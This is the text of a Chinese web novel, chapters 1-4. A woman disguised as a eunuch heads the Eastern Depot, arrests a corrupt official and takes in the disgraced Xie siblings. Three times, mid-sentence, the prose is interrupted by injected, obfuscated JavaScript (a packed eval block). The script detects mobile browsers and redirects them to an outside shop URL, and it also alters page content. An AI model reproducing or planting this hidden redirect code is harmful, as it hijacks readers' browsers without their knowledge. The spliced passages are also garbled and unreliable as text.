《女扮男装拿稳权宦剧本》 1. 第 1 章 大魏朝宣和八年,秋。 凉风乍起,满城枫落,入眼一片或深或浅的红。 压顶的浓云散去,苍穹如洗,东厂一队人马踏过青石板上的枯枝,悄无声息,迅速在长安门外集结。 紧接着“吱嘎”一声沉缓肃重的闷响,巍峨高耸的红漆大门被几个侍卫合力推开,散朝的百官于紫宸殿内恭敬跪拜,待年轻的帝王从龙椅上起身,缓步离开大殿,朝臣们才相继起身,有序结伴而出。 路过安和门之时,打头的三、两个官员看见一旁的为首之人,方才还热议朝政的几人忽然噤了声,眼底划过不屑与憎恶,却又不得不硬憋着这股子情绪,谁都不再言语。 最多有那些个硬气的,重重“哼”了一声。 看这阵仗东厂又要来拿人了,百官静默行步。 大家都知道,这位面白到昳丽,甚至带了些阴柔气息的东厂厂督绝没有看上起那么好招惹,上任不过月余,已然拿下了朝中三位四品以上的大员。 不知这回,又要寻谁开刀? 身为朝廷命官,竟要时刻活在一群内宦的阴影笼罩之下,不少人都心有不服,甚至暗自唾骂,却然当一不小心撞上那人投来的目光,又倏然移开视线。 算了,多一事不如少一事,还是少招惹为妙。 白惜时负手立于路旁,面不改色、八风不动,大方接受百官观瞻。 直到工部侍郎方宪明出现在视野里,她才眸色微动,侧头瞥了眼手下,两名下属收到示意,握刀快步行至官道当中,衡刀拦下了对方。 “方侍郎留步,东厂有请。” 望向横在眼前那泛着寒光的两柄刀刃,方宪明分明已经心中有数,却不愿束手就擒,试图拖延时间,进宫寻求转机。 “本官尚有要务禀报,眼下抽不得空。” 说罢他调转步伐,转头就要再次往安和门内走去,然而未行几步,另外两柄冒着杀气的寒刀再一次出现在他的面前。 白惜时缓步走到方宪明面前,好整以暇,“方侍郎,莫要顽抗。” 方宪明对上那双凉浸浸的眸子,心中一抖,扯开喉咙:“本官何罪之有?光天化日之下公正道义何在?东厂难道当着这么多人的面就要残害忠良吗?” 显然,他这话是喊给其他人听的,意图挑起众怒。 “方侍郎,你要明白,不是谁嗓门大公正道义就站在谁边。” 白惜时不紧不慢:“三个月之前,那批被劫掠的官盐,卖出去后,方侍郎想必拿下了不少好处。” “监守自盗,方侍郎又如何担得起‘忠良’二字?” 脑门霎时沁出豆大的汗滴,方宪明慌不择言,“白惜时,你这阉狗,休要含血喷人!” 人证物证俱已查实,不欲再与他多费口舌,白惜时转身,只丢下两个字。 ——“带走。” 前一刻还高高在上的侍郎大人,一夕之间便沦为阶下囚,由东厂之人押解着,犹如丧家之犬跟在白惜时身后。 方宪明被吓得双腿发软,嘴上却不饶人。 “奸佞”“狗贼”“无根之人”轮番往白惜时身上招呼,吵得向来肃静的安和门格外突兀,也顺利引来了不少同僚的注目、同情、共鸣。 两个刚入仕的年轻官员显然被煽动了情绪,此刻正捏紧拳头,怒视白惜时。 瞧见前头挡事的二人,白惜时停下脚步,轻飘飘一个眼风扫过去。 “怎么,二位也有雅兴,随方侍郎一同去我东厂喝茶?” 闻言,那两人瞬间一怔,如临大敌,短暂的对峙之后,后头的官员上前扯了扯那二人的袖子,像是在规劝切莫意气用事,这一劝,那二人便犹豫起来,最后各自退开了一步。 白惜时勾起唇角,越过众人,在小太监的殷勤打帘下,跨上了马车。 独自一人坐于车厢内,外头方宪明的叫骂仍在继续。 白惜时对这些骂声不甚在意,她甚至觉得,有些地方方宪明骂得还算中肯,她如今的确算不得什么好人,也确实,无根。 待车轱辘有序转起,马车平稳行驶,确认不会有人在此时突然闯进,白惜时才收起了先前那副盛气凌人的模样,视线扫过案几前那樽会反光的小铜壶,瞥见了里头的自己。 这是一张雌雄莫辨的脸,也好在她如今的身份是太监,本就被归类为不男不女的行列,倒也省得旁人怀疑上她的性别。 白惜时原是大学在读学生,穿越过来的时候,原身才五岁,分明是一个女娃娃,身份却是个小太监。 白惜时不知道原主为什么会入宫,又是怎样以女子身份混进来的,她那时候只知道,自己处境堪忧,极其堪忧。 因为年纪小遭人排挤欺负,原主被发配到了废太子的院中。而彼时还愿意待在废太子院中服侍的,只有三个人。 ——一个宫女姐姐,一个老太监,还有顶着小胳膊小腿的白惜时。 废太子在六岁之时,父皇骤然猝死,彼时大魏朝内忧外患,为抵挡外敌入侵,太后和朝臣们商议后决定,改为扶持先帝的亲弟弟泰王登基。 而六岁的小太子,仍然做他的太子。 但当几年后太后去世,泰王又平定外患、坐稳江山,便起了废太子,立自己的亲儿子为储君之心。 后来,太子果然被废,而就在这档口,五岁的白惜时也恰好来到他的废院服侍。 主仆四人日子过得如履薄冰,经常抱在一起痛哭,又互相安慰,那时他们谁也没想过有朝一日还能东山再起,只盼望着冬日不要太冷,夏日饭菜不馊,今日不会突然被毒害至死。 白惜时除了这些,还要再加一样,那便是女儿身千万不能被人发现。 能好好活下去,就是彼时最大的愿望。 然而,不知是上天注定,亦或是因果轮回,自废了太子之后,泰王的两个儿子相继去世。 后来,泰王病重,后继无人,废太子被重新立为储君。 如今太子已登基八年,当年的宫女姐姐成了后宫最受宠爱的俞贵妃,老太监执掌司礼监,而白惜时,也于今年正式升任东厂厂督。 有时候命运,就是这么奇妙。 马车逐渐放缓,待到彻底停稳下来,白惜时睁开双眼,抛却回忆,重新换上一副冷漠阴阳的表情。 同时,唇角微勾,心中设想的是扮做一个斯文败类,俊美乖戾,然而当目光扫过那铜壶,她忍不住蹙眉,“啧”了一声。 好像用力过猛了些,举着铜壶又凑近瞧了瞧,白惜时面色更加不好,丢下铜壶,一把掀开车帘,阴恻恻走了出去。 斯文没瞧出来,后头两个字倒是被她拿捏的到位。 罢了,不笑了。 后续将方宪明丢回东厂,自有属下会审讯,白惜时处理完日常事务,抬头已见日头西沉,思考了一会,决定今夜不回宫中,还是去看看自己刚置办不久的府邸。 如今,她也算是真正有家的人了。 白惜时在夕阳下山之前踏入宅院,这时候便有家厮迎上来禀报,说是府上已经有客人等候多时,要送厂督一份大礼。 一刻钟后,白惜时坐于正厅之内,睨着堂中那份“大礼”,未置可否,继而掀起眼皮看向旁边两个眼熟的督尉。 “二位这是何意?” 那二人面上立刻堆满了谄媚的笑。 “厂督,解家被抄家流放您是知道的。衙门定了,谢家几个未出嫁的被发卖至教坊司,由属下二人领头押送。” 那人不顾解柔云此刻已然被吓得瑟缩颤抖、魂不附体,强硬托起女子的下巴,逼迫她仰起脸对向上首的白惜时。 “属下一瞧,这解柔云可是京中难得的绝色,与其送至教坊司,不如送到厂督这里来,孝敬孝敬您老人家。” 另一人立刻跟着符合,“还请厂督成全咱们兄弟的孝心。” 二人在来之前早就打听过了,这位二十刚出头的厂督新置办了府邸,身边却一个女人或对食都没有,一般这种时候,身边正缺个知冷知热的人。 因而他们二人逮着机会就来了。 然而一番谄媚献宝之后,二人却没等来预想中的嘉许,白惜时面上没什么表情,听完甚至好半天没有说话,只垂眸,目光扫过眼睛哭到红肿的解柔云。 沉默的时间越久,这两个督尉心里就越发忐忑,难道,厂督 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251697|139635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟不喜欢? 可即便是个太监,也算是男人,竟真有见到如此美人都不动心的? 兄弟二人倒是都心痒难耐得很,这女人细皮嫩肉的,厂督若是不笑纳,他们可就不客气了,正好这回占了先机,待送去那风月场子便找解柔云好好纾解一番。 恰在此时,白惜时却突然开了口,但这话显然不是对那兄弟二人说的。 “解姑娘,自己选吧。”她语调一扬,含着散漫。 好似对解柔云的去留并没多大兴趣。 堂下女子正处于极度的惊慌之中,听了白惜时这话,反映了许久才意识到那人是在对自己说话,怯生生望向上首之人,解柔云对这位厂督一无所知,此时,才算是第一次鼓起勇气观察。 上首之人,皮肤很白,眉眼卓艳飞扬,但一双漆色眸子望向自己时,却透着股阴翳,如同三九寒冬喝下一杯带着冰碴子的水。 但解柔云又不得不承认,他很好看,甚至可以说是第一眼就惊艳的醒目,是一种太监才会有的,介于男人与女人之间的独特阴柔。 与自己预想中凶神恶煞的厂督有很大的出入,因而解柔云竟出现了片刻的怔愣,直到对上那人的目光,解柔云浑身瑟缩了一下,害怕地低下头。 听说,太监折磨人的腌臜手段很多。 可若不留在这里,等去了教坊司,她知道境况只会更惨。 送她来的这两个男人就曾用黏腻恶心的目光在她的身上逡巡,在未进白府之前,她也听见二人毫不避讳地谈论,若是厂督不收,他们会如何把自己当作玩物消遣。 令人作呕。 解柔云没有那么多时间权衡考虑,摆在自己面前的只有两条路,但至少厂督,没有用那种不怀好意的目光看她。 于是她颤抖着嗓音,做了自己都不知道是对还是错的决定。 “求,求厂督收留。” 看着美人梨花带雨,惊慌忐忑地等待着自己的答复。 白惜时支着脑袋,居高临下,“那便留下吧。” 继而吩咐侍候在一旁的家厮,“将她交给孟姑姑安顿。” 孟姑姑孟遥是白府的管家,也是目前唯一知道她女子身份之人。 说罢白惜时起身,没再理会堂下几人,径直走了出去。 这两个督尉,用一个无辜少女当做升官发财往上攀爬的筹码,手段算得上下作。 至于解柔云,白惜时不怎么打算去管,将她交给孟姑姑便是,不过是多一张嘴吃饭的事,留下也罢。 当天夜里,孟姑姑在安顿好解柔云后,亲自服侍白惜时洗漱宽衣。 孟姑姑年过四十,手脚麻利、精通药理,是白惜时在十四岁那年救下之人。 屏退下人,再插上门栓,确认左右无人后孟姑姑才重新走过来帮白惜时脱去外袍,卸下藏在里头穿戴了一整天的金丝软甲。 这金丝软甲乃当今圣上赏赐,得到后孟姑姑还特意为白惜时在软甲中加了硬条板,遮掩她胸口的柔软起伏。 如此即便对方一拳打到白惜时的胸膛,也很难发现端倪。 金丝软甲卸下后,还剩最后一层藏在里衣当中的裹胸。 白惜时此刻已不见人前的阴冷,稍稍低下些身子,展开双臂道:“姑姑替我解开吧,一连绑了好几日,实在憋闷得厉害。” 孟姑姑闻言,很快将白布一圈圈绕了下来,当最后一条束缚从身体上解除,白惜时忍不住发出了一声舒服的喟叹。 眼下是深秋其实还好过些,每每到了夏季,这些裹胸更是绑得白惜时浑身都会起痱腌红。 看着整个人明显松懈下来的白惜时,孟姑姑眼里有些心疼。 “厂督好不容易回来,热水已经备好,待沐浴过后今夜便松快地睡一觉吧。我一直在外间守着,厂督不必忧心。” 白惜时眼下确实很需要一个热水澡,听罢点头,“如此便有劳姑姑了。” 是夜,白惜时卸下捆绑和束缚,沐浴过后的确睡了个好觉,因而起床后通体舒畅,心情也颇佳。 然而这种舒畅只堪堪维持到出门,因为在自家的宅子门口,她便被人指着鼻子,大骂“卑劣”。 2. 第 2 章 骂她的人白惜时见过,甚至第一眼见到他时,白惜时便忍不住与许多人一样,多看了两眼。 解衍,解九公子,新科进士,更是金銮殿上皇帝钦点的探花郎。 此人金榜题名之时尚未及冠,年十九,大名鼎鼎的内阁次辅解知韵便是他的大伯。 几个月前,新科进士们打马游街之时,他因显赫的家世和矜冷卓绝的外貌,差点轰动了半个京都。 一时之间,解衍不知成为多少京城少女的春闺梦郎,更是许多朝廷大员的佳胥人选。 不过一切,都在解知韵落.马之后戛然而止。 眼下的解衍,翻飞的衣衫带着褶皱,应是好几日没有更换,甚至因匆忙疾奔而来,连发髻都有些松散。 他见到白惜时,只来得及说两句话。 第一句,男子眼中虽带着急切,尚且还算冷静克制。 他问:“舍妹柔云可是在厂督府上?” 白惜时立于阶上,垂眸而视,“是又如何?” 解衍瞬间变了脸色,“白惜时,你卑劣!” 好容易做了回好人,免于解柔云去那烟花之地迎来送往,白惜时不求感激,如今却被她的亲哥哥找上门来指责,心气自然不顺。 很不顺。 不过不待她反应,一队官兵此时已经紧随其后,冲过来当场将解衍拿下,合力钳制住了年轻的男子。 是了,她倒忘了,如今整个解家都被严加看管,不日便要流放漠北,解衍此举,必定是偷跑出来。 嗬,本事还挺大。 想到这又觑了眼阶下的男子,但,偷跑出来,就为了骂她? 白惜时对上解衍仍怒视着自己的目光,脸色越发不好。 百年解家在一夜之间轰然坍塌,只因原东厂厂督、锦衣卫指挥使与内阁首辅周贤不合,二人仗着皇帝年轻,试图联手干涉朝政,陷害首辅周贤,改为扶持内阁次辅解知韵上位。 解知韵在二人的蛊惑下,没能抵挡的住利益诱惑,一起参与了陷害倾轧,然而他们低估了皇帝对首辅的信任,也低估了皇帝的能力。 事情最后败露,皇帝震怒,原东厂厂督、锦衣卫指挥使、解知韵三人均被砍首示众,而解家其他家眷也受牵连,被下令抄家流放。 也正是因此机缘,白惜时才会调离司礼监,成为新一任东厂厂督。 不过白惜时曾经注意到解衍,不是因为他是风姿卓绝的探花郎,更不是因为他有别于其他刚入仕的官员,不对官宦疾恶如仇,亦不逢迎巴结。 对内监,解衍表现出来的,向来都是漠然。 白惜时会注意到他,只单单因为,解衍长得像一个人。 很像,她已经好几年未见,却依旧忘不掉的那个人。 不过长得像归长得像,并不意味着解衍就能顶着这张相似的脸指着鼻子骂自己。 领头的官兵见白惜时面色不佳,忙抱拳行礼,“是我等看管不力,叫解衍惊扰厂督,还请厂督责罚。” 解衍此刻已被几人合力压制,原先笔挺的脊背不得不弯折下去。但这似乎并不影响他的气势,他挣扎着抬起头,漆黑的眸子迸发出杀意。 “白惜时,你若是敢伤柔云一根头发,解某此生绝不会放过你。” 白惜时听完冷笑一声,缓步走下台阶,好整以暇行至男子面前。 她本来想告诉解衍,是你妹妹求我留下她的,而非我愿。 不过想了想,还是改了口。 白惜时:“解公子觉得如今这般境况,说出这话又能有几分信服力?” 男子咬紧牙关,目光凌厉,“解某说到做到。” “是吗?”白惜时敷衍地一点头,像是根本没把威胁放在心上,“那咱家便拭目以待。” 说罢朝那带头的官兵一挥手,“领走吧。” 经此一段插曲,心情没来由的坏了不少,被那样相仿的一双眉眼盯着,却是如此仇视,白惜时不习惯,也不喜欢。 不喜欢便懒得再去理会,白惜时没再去看解衍,说到底也只是肖似罢了,解衍绝非魏廷川。 在小太监的殷勤打帘下,白惜时上了马车,她心态调整的很快,待到了安和门外,已然忘却方才那段不愉快。 进了宫中,白惜时先去见了掌印张茂林,如今他已年近七十,大多时候不用伺候在皇帝身旁,而是待在司礼监。 踏进掌印的屋内,檀香袅袅,两个面熟的小太监正一人跪在一边给张茂林锤腿,见了白惜时,纷纷低头行礼。 “厂督。” 张茂林正在闭目养神,听见声音睁开布满皱纹的眼皮,自当上掌印后向来拿捏着威势的老太监,见着来人,也终于露出了点笑模样。 白惜时跟着展颜,抱拳作揖,“给掌印请安。” 自穿过来进了废太子的院后,白惜时便一直跟着张茂林,从五岁一直跟到十四岁,熬到主子登基,他们又一起进了司礼监,直到上个月刚满二十一岁,白惜时才离开张茂林,前往东厂任职。 在这十六年里,可以说是张茂林看着白惜时长大的。 二人一起在失势的时候被人践踏欺辱,互相搀扶安慰,也在得势之后,一起扬眉吐气,站在权力之巅。 挥退身边服侍的几人,张茂林将白惜时招到身边,让他坐在旁边的凳子上。 “这东厂厂督,当得可还习惯?” 白惜时:“还在一点一点理顺,逐渐上手,阿爷放心。” 自六岁开始,私下里无人,白惜时一直管张茂林叫阿爷。 “小石头,我知你做事不够狠绝,但到了厂督的位置,该不留情面就不能留情面。” 张茂林用已然浑浊的眼望了望西面,“咱家学问不高,在司礼监一直受秉笔梁年掣肘,但他没有容人之量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251698|139635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我与他不合已是明面上的事,往后我若不在,他坐上这掌印之位,绝不会放过你。” 白惜时:“阿爷身体康健,必能福泽百岁。” “你莫要哄我,咱家自己的身体,咱家清楚。” 张茂林:“内宦这条路,为了出头,多少人斗得你死我活。你若想活,就要继续向上走。但皇帝圣明,光靠着咱们与圣上往日的情分不够。” “梁年文章做的漂亮,还会写骈文,深得圣上赏识。小石头,你要让皇帝知道,你能为他分忧办事。” 白惜时听到这里也肃了容,“孙儿省得的。” “省得就好,你既叫了我这么多年阿爷,咱家自得为你筹谋。” 望着自己一手带大的白惜时,张茂林怎么看怎么满意,小石头自小便生得玉雪可爱、乖巧懂事,如今更是一表人才,不比梁年那狗杂种顺眼的多? 张茂林一指桌旁的锦盒,“一会替咱家将这批新进贡的胭脂给贵妃娘娘送过去,你现在不常在宫中走动,不能与贵人生分了。” 虽往日同是伺候人的奴才,但如今俞贵妃已是主子,她才是皇帝真正心尖尖上的人。 白惜时点头应是,接过锦盒…… — 三日后,工部侍郎方宪明因受不住刑,将贪墨官盐之事老实交待。 只是没想到,此案在审问中竟还涉及一位番邦富商,而那人似乎听到风声,已于方宪明被捕之后迅速离开京城。 若是与番邦扯上关系,很可能就不止贪墨这点事。 白惜时敏锐察觉不对,又记起掌印前几日提点自己的话,为保万无一失将案子办得漂亮,她吩咐下去,决定立即启程,亲自前往辽东捉人。 捉捕番邦富商之路历经了一番波折,那人机敏警觉的很,为逃脱追捕,竟一连在深山中躲藏了数日。 后来直到熬不住,偷偷下山采买,才暴露了行踪,被一直蹲守在山脚下的东厂之人抓获。 但即便抓获,这富商也极不配合,操着一口冉回语,假装根本不会汉语。 而从他身上搜到的几封信件,写得也都是密密麻麻的冉回字,白惜时一行无人能看得懂。 人既已经捉到,眼下便需抓紧带回去审问便是。 白惜时回程的路上快马加鞭,直到一日突然下起瓢泼大雨,一行人才在官道旁的茶棚歇息,也正是这一歇,白惜时倒是遇到了意想不到之人。 押解解家一大家子前往漠北的队伍,也恰好行到此处,于茶棚之中休整用饭。 不过茶棚不大,只有官兵才能坐于椅凳之上,解家之人,重要的才被让于茶棚的空地躲雨。 其余的,只能零星立于树下。 但雨势不小,兼夹北风,树下那群人很快便衣衫透湿,浑身泛着难耐的寒。 目光随意往雨中一暼,白惜时便发现,解衍,也赫然在其列。 3. 第 3 章 平心而论,解衍此人实在是鹤立鸡群,即便是在如此狼狈的境遇,还是能叫人在人群中第一眼便注意到他。 魏廷川,同样如此。 不过既不是真的魏廷川,白惜时便不准备再注意解衍第二眼,她这人记仇,解衍前几日才当众骂过自己,她自觉没找人麻烦便已经算是良善。 此次出来办事,东厂之人均着便装,白惜时身上的蓑衣未解,更是让人无从得知她的来头。 不过一水的带刀之人也够那群官兵忌惮,因而各自相安无事,井水不犯河水。 唯有解家的一个三、四岁的小奶娃子,不知是不是个子小叫人疏忽,竟寻着香味,挂着串鼻涕便走了过来,呆呆地望向白惜时手边的一盘糕点。 东厂之人手握刀柄,大有这奶娃子胆敢再靠近一步便拔刀相向的准备。 奶娃子的母亲吓了个半死,一边向这边跑一边急忙道:“顺宝,回来。” 然而女子尚未靠近,却被两个坏笑着的官兵拦了回去,一边推搡,一边奚落。 “小娘子怎么连个孩子都看顾不好?” “是啊,一路上尽给咱们哥几个惹麻烦,” 白惜时余光里瞧见,那几人推搡着的手,有意无意均是往那妇人的胸.脯上推过。 少妇一边担忧幼子,一边又无法靠近,手臂护在前头死咬着唇,一副受辱又无助的模样。 她回头,望向自己的夫君。 解三郎眼见自己的妾室被人再三调戏,拳头捏紧,忍无可忍想要上前理论,方迈出一步,却被解家老夫人拦下。 解家二房这时候也上前,似是在儿子耳边劝说了几句什么,谢三郎便如同泄气的皮球,愤愤望向一旁。 为了一个妾室,没必要连累一大家子人不好过。 谢三郎移开了目光,他似乎是不敢再去看跟了自己这么多年,为他生儿育女的女子,而少妇的眼里划过失望,却并不意外。 如此行径,并不是第一次发生。 白惜时冷笑一声,抬手示意属下收刀,有些嫌弃地看着那串亮晶晶地鼻涕,“想吃?” 顺宝此时心思已经全然不在糕点上,而是可怜巴巴望向正受欺负的少妇,嘴巴一瘪,“……姨娘。” 白惜时皱起眉头,要了块手巾,递给他,“……把鼻涕擦干净。” 顺宝却是不接,也不看白惜时,只会吧嗒吧嗒掉眼泪,“……姨娘。” 解家之人忍气吞身,越发助长了官兵的嚣张气焰。反正眼下雨大也赶不了路,路途遥遥,官兵们坏心一起,便想要寻些乐子。 白惜时有些强迫症,盯了那串鼻涕好一会,眼见越拖越长,就快要垂到嘴巴里,她眼疾手快,皱着眉头用巾帕将那串鼻涕拧了下来。 继而卸下斗笠,她预备起身,不料此时却有人先她一步,提前挡在了妇人面前。 那人浑身已然湿透,一串串水珠正顺着黑发不断向下滴落,将一双眉眼浸透的更加寒凉。一抬臂,生生在半路中截下想要做恶的手。 那官兵被他捏得骨头生疼,霎时间面目狰狞,“解衍,少管闲事。” 解衍却不言语,依旧挡在妇人身前,没有退让,孑然一人与官兵对峙。 白惜时停下将将起身的动作,重新坐会椅凳之上,递了块糕点给顺宝,饶有兴趣看着眼前的局面。 乌云密布、大雨如注。 僵持之下,没有人上前去帮解衍,解家之人对解衍的挺身而出表现的十分冷淡,甚至不满,这让白惜时突然想到,解柔云前几日对自己哭诉的话。 那日知道兄长曾到过白府,还当面骂了白惜时,解柔云很害怕她会报复解衍,待到隔日夜里白惜时回府,便主动与提出要见厂督。 不过当日恰巧孟姑姑不在府上,府中之人又会错了意,因而当白惜时回到房中之时,便见解柔云只着一件寝衣躺在自己的卧榻之上。 女子一边无声落泪,一边又不敢走,抖着声音告诉白惜时,解家四房天身体弱,不能生养,她与解衍并不是解家亲生子,而是小时候由旁系宗室过继进的解家,给四房做一双儿女冲喜。 可后来好日子没过多久,四爷便撒手人寰,四夫人守孝期满也重新改嫁,他们两兄妹便成了无人看顾的孩子。 兄妹两个相依为命,在解家过得十分不受待见,处处遭人忽视排挤,后来直到哥哥中举,解家看到了解衍可能会给家族带来的荣耀,二人日子才好过许多。 解柔云哭得凄惨无比,话里话外都是希望白惜时千万不要迁怒哥哥,他只是关心则乱,并没有恶意。若是白惜时愿意原谅解衍,让她做什么她都愿意。 说罢便一副哆哆嗦嗦要献身的架势。 白惜时当时十分无语,解柔云说的其实她没太听进去,只盯着自己最喜欢的一只枕头,嘴角发苦。 她这人睡觉认枕头,但很遗憾,被这笨丫头给哭湿了,看来今晚是用不了了。 闹心。 后来寻了个理由将解柔云打发出去,白惜时很快将这一茬忘却,如今对应起来,解家人对解衍的冷淡,以及他连茶棚都没有资格进入,淋雨于树下,确实与解柔云的描述相一致。 毕竟,现在他已不再是能够给解家添光增彩的探花郎,只是一个没什么太大血缘关系的宗室子。 白惜时想到这里,再向解衍望过去,此时的他已经被好几个官兵死死按在了雨中,泥水溅过他的侧脸,发丝紧贴于面颊,流下一道道黑水印,显得狼狈又脏乱,差点叫人认不出他曾是那日打马游街,集万千瞩目于一身的矜冷郎君。 显然,解衍有些功夫在身,却难以以一敌众。 亦或者,他也知道,敌过又能如何? 解衍确实在行动前就已经预估到了后果,但为母者受辱,稚童尚且在侧,他无法说服自己袖手旁观。 “呸!敬酒不吃吃罚酒,今日便叫你见识见识得罪爷爷们的下场。” 兵痞们趾高气昂,能将曾经的探花郎踏入尘埃里似乎极大满足了他们的虚荣心,几人兴奋到连那美貌妇人都暂时忘在一边,蹲下身来,拍了拍解衍的脸。 “嘿,探花郎,乖乖叫声爷爷来听,哥几个就放了你,如何?” 解衍未见惧色,即便如此,依旧硬气的可怕,甚至连一个眼神都没有分给那几人,而是浑然带着一身杀气,死死盯着另一个方向。 是,白惜时知道,他盯着的方向就是自己。 解衍发现了白惜时,在他被人合力按倒的那一刻。 白惜时其实想不通,在这种境况下,他哪来的胆量又哪来的底气,还敢这样望向自己? 他觉得他现在有能力威胁或者杀了自己吗? 白惜时头筋突突直跳。 因为眼前这一幕,却惊奇般地与十年前的场景重合了。 白惜时到现在都还清楚的记得,那一日也是这样的雨天,十六岁的魏廷川同样被人这般按在泥水里,同样的践踏与侮辱,而魏廷川眼中,是少年人不愿屈服的倔强与愤怒。 所以说啊,解衍真的很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251699|139635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像他。 甚至,都是源于家中变故,一个被充军,一个被流放。 只是当年的自己,只能躲于厚厚的宫墙之后束手无策,无能为力,眼睁睁看着少年人被拖走,此后每夜每夜被噩梦缠绕,恍然惊醒。 魏廷川被拖走前,也看到了角落里的白惜时,那眼神很难形容,复杂、惊愕、回避,似乎是很不想她见到那样颓败的自己。 白惜时却觉得,自己这辈子可能都忘不掉魏廷川彼时的眼神。 思及此白惜时突然问自己,今日的她如果回到十年前,是不是有能力改变什么? 其实自己都闹不明白当下真实的想法,或许是为了弥补当年的遗憾,亦或许是觉得此刻的解衍太像魏廷川。 总之,白惜时站起身,迎着那人的目光走了过去。 很快,周围人都发现了这位年轻的厂督,并随着她一步步靠近,纷纷后退。 闹事的官兵们也很快肃容起身,下意识松开了解衍。 从随从手中接过纸伞,白惜时走入雨中,居高临下,看向身处泥泞当中的男子。 “识得冉回文字吗?” 这是她问解衍的第一句话。 解衍依旧一瞬不瞬锁住白惜时,从大雨中缓缓起身,手背一抬,抹去唇角的血迹,定定与白惜时对峙了片刻,最后,略一点头。 “会写骈文?”白惜时又问。 “会。” 听完,白惜时笑了起来,看来真是天意,她在心中喟叹一声,这个人,或许可以收为己用。 而解衍见到白惜时笑,面色却越发不好。 他不知道对方打得什么算盘。 他因为妹妹之事厌恶极了白惜时,也时刻警惕着她,男子浑身上下积蓄着一股对白惜时独有的进攻性,甚至让白惜时产生了种错觉,她不是在对一个读书人说话,而是一只被折了半面羽翅的隼。 “你妹妹与我说起,她就剩你这么一个至亲之人,十分挂念。” “见不得美人日日垂泪。”白惜时话锋一转,“我府上恰还缺个花草匠,你觉得,你能胜任吗?” 眼中闪过一瞬错怔与费解,解衍很快掩饰过去,“能。” 他回答得干净利落、不假思索。 这倒是出乎白惜时的意料,毕竟是去给一个内宦做仆役,她以为多少会愠怒,会挣扎,会权衡。 但是解衍没有,他好像只是想要抓住一切机会,保住妹妹。 “你会修剪花草?” “可以学。” 察觉出白惜时意图带解衍离开,官兵头目急出一脑门子热汗,这时候小跑过来,硬着头皮解释道:“厂督,不是小的故意与您为难,但…解衍是登记在案的流放之人,按律不得回京。” 白惜时侧目,“东厂办案,咱家自会与圣上禀明。” 那头目立刻赔笑起来,“哎哟,有厂督这句话小的就放心了。” 白惜时见对方笑得眼角都起了褶皱,拍了拍那人的肩膀,跟着扬唇、伸手,虚指着方才那几个欺辱妇人的兵痞。 “一人剁掉两根手指。” 笑容瞬时僵在脸上,官兵头目:“厂督,这……” “你不剁他们,我便剁了你。” 白惜时凑近,明晃晃威胁,“若不信,你大可以试试。” 下一刻,闷哼与惨叫混杂着落入嘈杂的雨中,白惜时持伞离开,临走前,找到那个已扑回母亲怀抱中的鼻涕虫。 走过去,伸手,将一盘子糕点塞了过去。 4. 第 4 章 其实决定带解衍回京的第二日,白惜时便有些后悔,一觉醒来,发现队伍突然里多了个高瘦显眼的身影,她觉得或许不该一时冲动。 带解衍回京还给自己做了花草匠,那些朝臣知道了必定又要义愤填膺,弹劾的折子会像雪片一样向她袭来。 而为了抢占先机,她回去就得进宫,还要花费好大一番周章向皇帝和掌印解释清楚原委。 想想就麻烦得很。 不过在解衍肃然危坐,逐字翻译出那冉回富商书信上的内容时,白惜时又重新审视了男子一遍,也没必要后悔,她身边确实急需个如此得力之人。 东厂捉捕冉回富商之事十分隐秘,回程中他们从不让那人下车见人,轮班看守。 朝中认识冉回文字的确有那么几个人,但白惜时直觉,此次官盐走私一案可能只是冰山一角,应该还有案犯藏在朝臣之中。 一来大张旗鼓找人翻译容易打草惊蛇,让人产生警觉。二来那些官员自持清高,也未必愿意为东厂做事。 所以,解衍确实是眼下最合适的人选。 当然,如果他态度再好一些,那便更合适了。 解衍如今依旧把白惜时当那好色之徒,是觊觎自己妹妹的登徒子,只不过他还没确定白惜时到底有没有对柔云如何,因而尚算克制。 不过,难以避免的,二人之间仍旧剑拔弩张,连东厂的一众随行都感受得到。 夜间宿于客栈,白惜时与心腹元盛、千闵立于二楼,元盛武力超群,是东厂一等一的高手。而千闵稽查一绝,人送“千里顺风耳”。 这个时候望向楼下与其他隶役一起搬行李的解衍,千闵突然“咦”了一声。 白惜时侧头,看他。 千闵:“属下发现探花郎倒是与一人有些相像。” 不动声色收回目光,白惜时重新看向楼下,“谁?” “原先的晋阳王世子,现在的绥州参将魏廷川。” 听到这个名字,白惜时面上没什么变化,停了片刻,才心不在焉问了句,“是吗?” “是,魏参将还是世子之时,属下曾在宫中见过,二人眉眼尤为相似。” 千闵说完,楼上三人目光不约而同均投向了解衍,男子似有所觉,停下脚步,抬头望了上了。 